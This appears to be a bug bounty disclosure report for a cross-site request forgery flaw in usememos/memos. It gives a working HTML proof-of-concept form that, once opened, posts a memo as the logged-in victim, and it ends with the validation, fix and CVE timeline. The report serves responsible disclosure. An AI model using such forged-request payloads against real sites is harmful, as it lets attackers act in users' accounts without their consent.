CSRF allows attacker to post on behalf of victim in usememos/memos

Valid

Reported on

Dec 23rd 2022


Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user.

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers content has been posted by the victim

POC video: https://drive.google.com/file/d/1fYjhqTC53GzgREP2vxjv0WYP6d0PGEls/view?usp=sharing

CSRF POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/memo" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;content&quot;&#58;&quot;Hacked&#32;by&#32;alchemist&quot;&#44;&quot;visibility&quot;&#58;&quot;PRIVATE&quot;&#44;&quot;resourceIdList&quot;&#58;&#91;&#93;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



# Impact

A CSRF vulnerability can allow an attacker to force the change of a password and/or other personal information
We are processing your report and will contact the usememos/memos team within 24 hours. 17 days ago
We have contacted a member of the usememos/memos team and are waiting to hear back 16 days ago
Nehal Pillai
11 days ago

Researcher


@maintainer Any updates on this?

STEVEN validated this vulnerability 11 days ago
Nehal Pillai has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
STEVEN marked this as fixed in 0.9.1 with commit c9bb2b 11 days ago
STEVEN has been awarded the fix bounty
This vulnerability has been assigned a CVE
STEVEN published this vulnerability 11 days ago
DailyMemo.tsx#L1-L31 has been validated
to join this conversation